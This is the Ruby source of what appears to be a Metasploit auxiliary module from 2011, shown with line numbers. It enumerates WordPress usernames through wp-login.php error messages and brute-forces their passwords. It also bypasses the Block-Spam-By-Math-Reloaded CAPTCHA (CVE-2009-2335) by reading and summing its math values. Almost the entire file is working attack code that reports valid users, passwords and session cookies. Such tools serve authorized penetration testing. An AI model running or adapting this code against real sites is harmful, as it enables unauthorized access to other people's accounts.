|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220  |  ## # $Id: wordpress_login_enum.rb 12196 2011-04-01 00:51:33Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::AuthBrute  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  def initialize  super(  'Name' => 'Wordpress Brute Force and User Enumeration Utility',  'Version'=> '$Revision: 12196 $',  'Description'=> 'Wordpress Authentication Brute Force and User Enumeration Utility',  'Author' => [  'Alligator Security Team',  'Tiago Ferreira <tiago.ccna[at]gmail.com>', 'Heyder Andrade <heyder[at]alligatorteam.org>' # Block-Spam-By-Math-Reloaded Bypass  ],  'References' =>  [  ['BID', '35581'],  ['CVE', '2009-2335'],  ['OSVDB', '55713'],  ],  'License'=>MSF_LICENSE  )  register_options(  [ Opt::RPORT(80),  OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),  OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),  OptBool.new('BSBM_BYPASS', [ true, "Block-Spam-By-Math-Reloaded Bypass ", false]),  OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),  ], self.class)  end  def target_url  "http://#{vhost}:#{rport}#{datastore['URI']}"  end  def run_host(ip)  if datastore['VALIDATE_USERS']  @users_found = {}  vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")  each_user_pass { |user, pass|  do_enum(user)  }  unless (@users_found.empty?)  print_good("#{target_url} - WordPress Enumeration - Found #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")  end  end  if datastore['BRUTEFORCE']  vprint_status("#{target_url} - WordPress Brute Force - Running Bruteforce")  if datastore['VALIDATE_USERS']  if @users_found && @users_found.keys.size > 0  vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")  else  vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")  return  end  end  each_user_pass { |user, pass|  if datastore['VALIDATE_USERS']  next unless @users_found[user]  end  do_login(user, pass)  }  end  end  def do_enum(user=nil)  post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=x&wp-submit=Login"  print_status("#{target_url} - WordPress Enumeration - Checking Username:'#{user}'")  begin  res = send_request_cgi({  'method'=> 'POST',  'uri' => datastore['URI'],  'data'=> post_data,  }, 20)  valid_user = false  if (res and res.code == 200 )  if (res.body.to_s =~ /Incorrect password/ )  valid_user = true  elsif (res.body.to_s =~ /document\.getElementById\(\'user_pass\'\)/ )  valid_user = true  else  valid_user = false  end  else  print_error("#{target_url} - WordPress Enumeration - Enumeration is not possible. #{res.code} response")  return :abort  end  if valid_user  print_good("#{target_url} - WordPress Enumeration- Username: '#{user}' - is VALID")  report_auth_info(  :host => rhost,  :sname => 'http',  :user => user,  :port => rport,  :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"  )  @users_found[user] = :reported  return :next_user  else  vprint_error("#{target_url} - WordPress Enumeration - Invalid Username: '#{user}'")  return :skip_user  end  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  rescue ::Timeout::Error, ::Errno::EPIPE  end  end def smartaleck(values) answer = 0  values.each { |a| answer+=a.to_i } return answer end def getvalues(response) i = 0  values = [] while (i <= 1) do response.body.match(%r{.?(mathvalue#{i}).*(value=).([\d]+)}) values[i] = $3 i += 1 end  return values end def baserequest() begin res = send_request_cgi({ 'method'=> 'GET', 'uri' => datastore['URI'], }, 20)  return res end end  def do_login(user=nil,pass=nil) if (datastore['BSBM_BYPASS']) v = getvalues(baserequest()) sec_answer = smartaleck(v)  post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&mathvalue2=#{sec_answer}&mathvalue0=#{v[0]}&mathvalue1=#{v[1]}&&wp-submit=Login" else  post_data = "log=#{Rex::Text.uri_encode(user.to_s)}&pwd=#{Rex::Text.uri_encode(pass.to_s)}&wp-submit=Login"  vprint_status("#{target_url} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'") end  begin  res = send_request_cgi({  'method'=> 'POST',  'uri' => datastore['URI'],  'data'=> post_data,  }, 20)  if (res and res.code == 302 )  if res.headers['Set-Cookie'].match(/wordpress_logged_in_(.*);/i)  print_good("#{target_url} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")  report_auth_info(  :host => rhost,  :port => rport,  :sname => 'http',  :user => user,  :pass => pass,  :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}",  :active => true  )  return :next_user  end  print_error("#{target_url} - WordPress Brute Force - Unrecognized 302 response")  return :abort  elsif res.body.to_s =~ /login_error/  vprint_error("#{target_url} - WordPress Brute Force - Failed to login as '#{user}'")  return  else  print_error("#{target_url} - WordPress Brute Force - Unrecognized #{res.code} response") if res  return :abort  end  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  rescue ::Timeout::Error, ::Errno::EPIPE  end  end end  |